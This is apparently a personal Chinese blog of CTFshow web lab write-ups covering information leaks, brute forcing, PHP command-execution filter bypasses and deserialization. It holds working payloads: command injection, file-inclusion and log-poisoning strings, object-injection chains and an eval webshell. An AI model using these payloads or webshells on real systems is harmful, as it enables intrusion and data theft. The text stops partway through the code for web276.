刷题蛆来咯-CTFshow

前面忘了,后面忘了,记录下就对了

信息收集(Complete)

web01

入门,看源码,view-source/F12

web02

写的无法查看就无法查看了吗?

非也非也

view-source

其实可以顺带观察一下源码的JS

<script type="text/javascript">
	window.oncontextmenu = function(){return false};
	window.onselectstart = function(){return false};
	window.onkeydown = function(){if (event.keyCode==123){event.keyCode=0;event.returnValue=false;}};
</script>

可以看到第一个控制了右击鼠标事件,第二个控制了选择事件,第三给控制了键盘输入

并且返回结果都是false,这样你当然就无法进行任何操作了啦啦啦

禁止鼠标右键:oncontextmenu=function(){return false};
禁止选择:onselectstart=function(){return false};
禁止拖放:ondragstart=function(){return false};
禁止拷贝:oncopy=document.selection.empty() 。
禁止复制:oncopy = function(){return false};
禁止保存:<noscript><iframe src="*.htm"></iframe></noscript>,放在head里面。
禁止粘贴:<input type=text onpaste=function(){return false};>
禁止剪贴:oncut = function(){return false};;
关闭输入法:<input style="ime-mode:disabled">

web03

提示抓包,那就抓

bp发包直接看到flag在header里面

或者你F12看一眼Network(网络)刷新一下,点进url也可以从标头这里找到

web04

提示robots

那就是robots.txt(爬虫协议),告诉你哪些可以爬,哪些不能爬来的

真实场景记得别手贱就好了。。CTF倒是无所谓

User-agent: *
Disallow: /flagishere.txt

web05

提示phps源码泄露

众所周知

phps php~ php.bak这些都是源码泄露,扫到就是赚到

web06

解压源码到当前目录是想赤紫蛋了,感觉是www.zip或者.git之类的

扫一下,是www.zip

下下来看到目录里有index.phpfl000g.txt

打开一眼fakeflag,但是路径应该没错

闻着味摸过去拿到flag

web07

版本控制很重要,但不要部署到生产环境更重要。

不懂,先吃我一扫

扫出来/.git/,直接给了

网上找了点解释

git 是一个版本控制工具,很多程序的开发都是多名程序员协同开发的,而 git 则是一个不错的多人协同工具+版本控制工具。

由于部署项目的方便,有很多运维人员直接在网站根目录使用 git clone 项目地址,此时网站根目录就会存在 .git 目录,通过该目录就可以回滚到某个版本或者下载最新的项目源码。
githack:https://github.com/BugScanTeam/GitHack

web08

hint是一样的。。

那再吃我一扫,扫到/.svn/,也是直接给

web09

发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

vim?那我可要闻着味过来了

vim强制关闭时会产生一个.swp文件

belike: index.php -> index.php.swp

下过来就直接给了

web10

cookie 只是一块饼干,不能存放任何隐私数据

并非饼干,可以抓个包看看

抓到包直接Cookie: flag就写你脸上了

web11

域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息

通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。

查找flag.ctfshow.com域名下的txt记录

web12

有时候网站上的公开信息,就是管理员常用密码
Help Line Number : 372619038

扫出来一个admin/index.php

登录成功力,直接拿到flag

web13

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

根据提示感觉像弱密码

结果是泄露。/home下面探一堆找到那个Document

点进去就是一个使用指南,按所给信息登录就行

web14

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

仔细观察源码,看到一个路径editor/upload/banner-app.png

upload被禁止访问了,只能到/editor翻一下

翻到一个插入文件,没想到能直接调用服务器本地文件系统。

翻一下

直接拿到flag路径:nothinghere/fl000g.txt

web15

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

看一眼邮箱

1156631961@qq.com

又扫到/admin/

试一下都不对啊。是不是要忘记密码

要回答城市。。原来是社工题目吗哈哈。。

QQ找一下就好了

web16

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

wappalyzer看一眼,语言是PHP,PHP探针没跑了,探针泄露路径tz.php

发现可以直接查看phpinfo()

直接摸到flag

web17

备份的sql文件会泄露敏感信息

不知道指的是.bak的后缀还是什么

扫到一个backup.sql

打开flag直接就在里面

web18

不要着急,休息,休息一会儿,玩101分给你flag

看来是web前端题了

当然先看一眼有没有源码直接给

摸到一个unicode编码

\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b

转换过来就是:你赢了,去幺幺零点皮爱吃皮看看

110.php

直接给了flag

web19

密钥什么的,就不要放在前端了

看起来像一个密钥泄露嗯。。是flask的SECRET_KEY吗?还是什么。看一眼先

好吧高估了,就是一个判断逻辑放在了前端并且密码和用户都是明文

但是显示密码错误,猜测是放的密码是被加密过的

那么尝试抓包改密码看看这个加密是在前端还是在后端的

结果是前端,直接得到flag

web20

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

通过了解如果数据库未设置访问权限的话,是可以直接访问 把数据库给下载下来的

尝试通过默认名称database.mdb访问无果,但是扫到了/db

但是访问不了,用一下递归扫描,摸到了db.mdb

下载到本地用010搜一下关键字就可以

爆破(Complete)

web21

爆破什么的,都是基操

上来就弹是吧?上bp

这里了解一下bp的Custom iterator模式

可以将palyload分块处理

比如这题的账号密码其实是以这种方式存在的

base64encode(username:passwd)

并且注入位置在Authorization

记得把最后的urlencode给去掉

web23

<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

具体要求是这样:

第2位要和第15位相等,第15位要和第18位相等
并且第2位+第15位+第18位/第2位要等于第32位
#encoding=gbk
import hashlib

def check(md5str):
    # 提取对应位置的字符
    c1 = md5str[1]
    c2 = md5str[14]
    c3 = md5str[17]
    c4 = md5str[31]

    # 条件1:三个字符相等
    if c1 != c2 or c2 != c3:
        return False

    # 条件2:计算表达式(转 int 前需确保是数字)
    if not (c1.isdigit() and c4.isdigit()):
        return False

    c = int(c1)
    try:
        result = (c + c + c) / c
    except ZeroDivisionError:
        return False

    return int(result) == int(c4)

# 暴力枚举 token 值
for i in range(100000000):
    token = str(i)
    md5val = hashlib.md5(token.encode()).hexdigest()
    if check(md5val):
        print(f"[+] 找到符合条件的 token:{token}")
        print(f"    md5: {md5val}")
        break

web24

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

一个伪随机数的问题。种子固定,随机值是固定的那几个

自己拿php跑一下这个种子的随机值传参即可

web25

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

我们来理一下

1.将flag:MD5编码-->取[0:7]-->作为hex转换成十进制-->作为种子
2.比较token和2*mt_rand()

还是好解决的,因为返回了$rand值,可以逆着推出$mt_rand

这里是894610327

使用php_mt_rand工具来破解一下,并结合当前PHP版本得到了合适的种子

1324767434 
2626545208 
3845172103

image-20250709152756959

运气不是很好啊。。那只能一个个试过去了

结果都没打出来,何意呢。。重新开了靶机再试,104429216

131270818
2698696663 
3895390800

。?还是出不来,仔细再看一眼

搞错了搞成1+2了原来是2+3啊哈哈。。

最后试出来是第三个

web26

安装界面直接连接就说连上了。。好怪啊。

找找源码,找到一个checkdb.php

image-20250709160523122

POST:a=&p=&u=&d=&pass=

但是其实抓包抓一下可以直接看到flag的。image-20250709161018103

web27

本来以为是爆破admin的密码爆了半天没收获结果发现是让我爆破人身份证号码。

高先伊
621022********5237

这边爆破一下日期

image-20250709162357752

爆破了半天得到621022199002015237

image-20250709165512904

登录就可以拿到flag

web28

挺邪门的题目,随便改URL的话会显示重定向过多

尝试把最后的去掉,对0和1的位置进行1-100遍历(问就是扫出来是1-100)

这里使用Cluster bomb模式

payload typeNumbers

对1和2位置都设置1-100

image-20250709172439403

命令执行

好玩爱玩,好吃爱吃

喜欢我RCE吗

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

简单的绕过

\ '' " " `` 都可以绕过,加在flag里就行

?c=system("cat fla\g.php");

然后看源码注释掉的部分即可

web30

命令执行,需要严格的过滤

那看来过滤很不严格了

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

懒得看多出来的过滤,和我的通配符说去吧

?c=passthru("cat fl*");

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

三种方法:

  • 空格替代
?c=echo%09`tac%09fl*`;//这边{IFS}出于未知原因是不可用的
  • eval传参
?c=eval($_GET[1]);&1=system('tac flag.php');
  • 无参数
eval(end(current(get_defined_vars())));&b=system('tac fl*');
show_source(next(array_reverse(scandir(current(localeconv())))));

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里不看过滤字符串(问就是没必要,还没过滤的很死)

看一眼过滤了

. 空格 ' ` ;  (

括号都过滤掉了吗。哈基c你这家伙,但是不影响

这里放弃直接shell的想法,尝试用伪协议作为帮手

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

为什么这个?>可以用呢?

看其他师傅的解释说是?>可以 闭合 php( ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的。)

具体的来说,对于include
空格是个可有可无的东西,即使没有空格它也能从上下文中判断 $var 是变量,它会优先解析变量,然后再处理语句。
?>这部分在这里也很神必,eval解析php语句,而后面的?>直接被当作了无效文字不被处理,而在?>前的语句不加;是无所谓的

多说无益,自己调一眼看看

image-20250708105538411

可以看到后面的语句正常执行了

php,很神奇吧。。

base64是什么几把,我直接php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php当懒狗爽赤😋

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
. 空格 ' ` ; ( "

双引号也没了

但是我前一个好像没用过""啊。。

秒赤

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
. 空格 ` ' ; ( : "

木大木大木大!没有实质用处的过滤哒!和上上个凑一桌去

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
. 空格 ' ` ; ( : " < =

和上上上个一桌

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
. 空格 ' ` ; ( : " < = / 数字

数字换成字母

然后和上上上上个一桌

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?>

嗯。。这里直接include了,直接伪协议吧

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=

这里base64是<?php system('tac flag.php'); ?>

或者其实都能命令执行了你用*偷个懒也没事

这里为什么php://input用谷歌浏览器的hackbar会出现执行不了的情况(因为这啥比post没有=就发不了包)

只有在包手动改才可以

image-20250708121634882

也可以尝试包含一下日志

nginx 的日志文件 /var/log/nginx/access.log

包含完发现记录了UA头,尝试一下UA头注入

User-Agent: <?php system('tac flag.php');?>

在/路由下注入再包含就可以看到被执行

web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

简直说的和你上一题可以用这file一样

咳咳,看到过滤了flag php file

考虑用data伪协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=

妈的忘了还有短标签了。

?c=data://text/plain,<?=system("tac fl*")?>

当然的当然这题用日志包含还是可以做

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

用一个小小的后缀乱我道心吗。。

?c=data://text/plain,<?php system('tac fl*')?>//
?c=data://text/plain,<?php system('tac fl*')?><?php

两种都行,总之闭合把后面的去掉就行

但是其实不去也行,聪明的php会把后面的后缀当成html直接显示

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

啊呀!骇死我力

过滤了数字

~ ` @ # $ % ^ & * ( ) - = + { } [ ] : ' " , < . > / ? \

符号基本都用不了了

但是您猜怎么着?哎!他这是个中文输入法的括号

无参数rce伺候

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=session_start();system(session_id());

web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

无数字字母rce

~ $不给用,自增取反异或都用不了辣

不异或能怎么办呢。。你看这里是不是还有个|可以用

利用或来构造字符即可

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

解法1

利用||管道符的特性

如果||左边的命令(command1)未执行成功,那么就执行||右边的命令(command2);或者换句话说,“如果这个命令执行失败了||那么就执行这个命令。

解法2:

换行来绕过,这个语句本身的意思就是重定向输出表示不回显,(你在反弹shell/提权的时候或许见到过它)

?c=tac flag.php%0a

所以同理只要能分割命令的基本都是没有问题的

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

;不能用了,但是计划通

同web42

web44

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

换通配符,没了

web56

反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;

    public function checkVip()
    {
        return $this->isVip;
    }

    public function login($u, $p)
    {
        if ($this->username === $u && $this->password === $p) {
            $this->isVip = true;
        }
        return $this->isVip;
    }

    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip, no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if (isset($username) && isset($password)) {
    $user = new ctfShowUser();
    if ($user->login($username, $password)) {
        if ($user->checkVip()) {
            $user->vipOneKeyGetFlag();
        }
    } else {
        echo "no vip,no flag";
    }
}

就是简单的传。别想歪了(谁想歪了我不说)

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

不帮你创,让你自己搞一搞,序列化入门说是

<?php
class ctfShowUser{
    public $username='1';
    public $password='1';
    public $isVip=true;
}
$A=new ctfShowUser();
echo serialize($A);

发现传不进去,一查发现Cookie中将”作为截断符号

image-20250710161829381

感觉分号也不是很友好啊。url编码整一个

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

比上一题多了个username!=passwd

web257

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这里看上部分即可

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

直接利用backDoor类来RCE

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
    public $class = 'info';
}
class info{
    private $user='';
}
class backDoor{
    private $code="system('ls');";
}
$a=new ctfShowUser();
$a->class=new backDoor();
echo urlencode(serialize($a));

成功执行

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

Cookie不允许O/C开头,后面不准接数字

web259(open)


$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

本来在想是不是要用原生类的,但是发现好像是杀鸡用牛刀,还是对反序列化这边有一些偏执的固有印象啊。。

希望后面能消除这种偏见。

这里直接序列化一个字符串即可

<?php
$a='ctfshow_i_love_36D';
echo urlencode(serialize($a));

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

几个创建时候调用的魔术方法可以直接不看了。。

这里了解到了从7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略,那么直接触发文件写入写马即可

结合__unserialize内的代码,可以看出这边是一个弱比较

<?php
class ctfshowvip{
    public $username='877.php';//弱比较
    public $password='<?php @eval($_POST[1]);?>';
    public $code='';
}
$a=new ctfshowvip();
echo serialize($a);

最后蚁剑即可

web262

<?php
    /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

一眼字符串逃逸

但是传完cookie干什么呢。。猜测是要逃逸user为amdin,那就扫一下有没有其他的php文件存在哈,就扫出来一个flag.php

后来根据其他师傅的wp才发现注释里有一个message.php,眼瞎领域大神发力了嘻嘻

看一眼message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

所以这边构造一下在访问message.php就可以过了

<?php
error_reporting(0);
class message{
    public $from='1';
    public $msg='2';
    public $to='";s:5:"token";s:4:"admin";}';
    public $token='user';
    }
$a=new message();
echo serialize($a);
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"";s:5:"token";s:4:"admin";}";s:5:"token";s:4:"user";}

这边后边是27个字符,那就要27个多出来的字符来保证后面的字符逃逸掉,刚好替换后每个多1位,那么就构造27个fuck就可

f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

常规的打完看看能不能直接打message.php,毕竟就传个cookie的事情

拿到原CookieO:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"1";s:2:"to";s:1:"2";s:5:"token";s:4:"user";}

直接改

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"1";s:2:"to";s:1:"2";s:5:"token";s:5:"admin";}

base64加密后得到

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxOiIyIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

直接传也可以得到flag

web263

进来是一个登录界面,懵了一下,果断请他吃我一扫

image-20250717163049318

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

怎么感觉,似曾相识啊。

但是把之前那题能直接改msg的非预期修掉了。

所以直接用上上题的poc

但是由于它不自带msg,你需要抓包改一下Cookie加一个msg,什么值随意

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

感觉是一个md5绕过,马上想起来Error/Exception原生类是可以绕过哈希的,但是这里用不到

仔细想想,要token和password相等,这里必须要token动password也动

那么用&试一下行不行

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token=1;
    public $password=1;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo urlencode(serialize($a));

直接就得到flag了

web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这里只要不抛错就能得到正常的结果

这边正则没有用模糊匹配(i)的模式,直接大小写绕过即可

<?php
class ctfshow{
    public $username="1";
    public $password="2";
}
$ctfshowo=new ctfshow();
echo serialize($ctfshowo);
//把结果的ctfshow任意改一个字母为大写即可

并且这边即使什么都不写也是可以的,必定会__destruct,利用PHP函数名和类名不区分大小写,变量名区分的特性

<?php

class Ctfshow{
}

$user = new Ctfshow();

echo(serialize($user));

?>

web267

web275

<?php

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

感觉是拼接字符串命令执行

POC1

/?fn=;tac flag.php

做完看源码在思考,能不能写一个马进去呢。。

<?php
file_put_contents('shell.php', '<?php @eval($_POST[1]); ?>');
?>
//filename=1.pthml

但是最后没写进去,用命令拼接发现是有文件写入权限的,不懂了

然后发现自己犯了个很弱智的错误

这个马还没访问就被删除拿头执行啊。。

web276

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

